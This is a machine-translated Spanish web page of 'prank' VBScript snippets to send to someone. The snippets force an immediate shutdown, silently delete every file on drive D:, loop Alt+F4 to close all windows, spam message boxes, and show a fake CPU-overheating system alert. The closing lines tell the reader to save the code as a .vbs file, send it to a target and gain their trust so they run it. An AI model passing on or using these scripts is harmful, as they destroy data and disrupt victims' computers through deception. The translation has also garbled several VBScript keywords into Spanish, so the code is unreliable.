La Red de Conocimientos Pedagógicos - Currículum vitae - ¿Cuál es el código molesto que le debe encantar a VB?

¿Cuál es el código molesto que le debe encantar a VB?

Dim a

do

a=InputBox("Di rápidamente "Esposo, te amo" sin siquiera hacer una pausa, ¡o me cerraré!" ,"Te amo, esposo")

Si a="Te amo, esposo" Entonces

Msgbox"¡Así es!",0,"Te amo, esposo"

Salir Do

Elseif a="Esposo, te amo" Luego

Msgbox"Ni siquiera una pausa, ¿no lo viste?",16 , "Te amo, esposo mío"

Else

Msgbox "¿Aún no lo has dicho? ¡Si no lo dices, apagaré el teléfono!" ",16,"Te amo, esposo mío"

End If

bucle

1. ¿Está bien cerrar directamente?

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "shutdown -f -s -t 00", 0, verdadero

2. Eliminar todos los archivos en D:\

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

3. Ventanas emergentes continuas

while(1)

msgbox "¡Jaja, te engañaron!"

bucle

4. Sigue presionando alt+f4 (abre todo). y ciérrelo) ...)

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

while(1)

WSHshell.SendKeys "%{F4}"

el bucle 'aparece una vez por minuto

hacer hasta i=10

i=i +1

msgbox "La temperatura de la CPU es demasiado alta, ¡se produjo un error grave en el sistema!",16+4096,"Mensaje del sistema"

wscript.sleep 1000*60 'El tiempo puede ser cambiado por usted mismo

loop set a = wscript.createobject("wscript.shell")

a.run "cmd.exe /c apagado -r -t 3600 -c "" Por favor, te diré qué hacer...Oye, oye..."" ",0 ,true

Copia el código, guárdalo en **.vbs y envíaselo a la persona que quieras. para corregir

3600 es lo que quiere el tiempo ¡Que se apague el tiempo que sea necesario para apagarse ~!

Si quieres que la otra parte ejecute tu programa, depende de tu propia capacidad.

Deja que confíe en ti...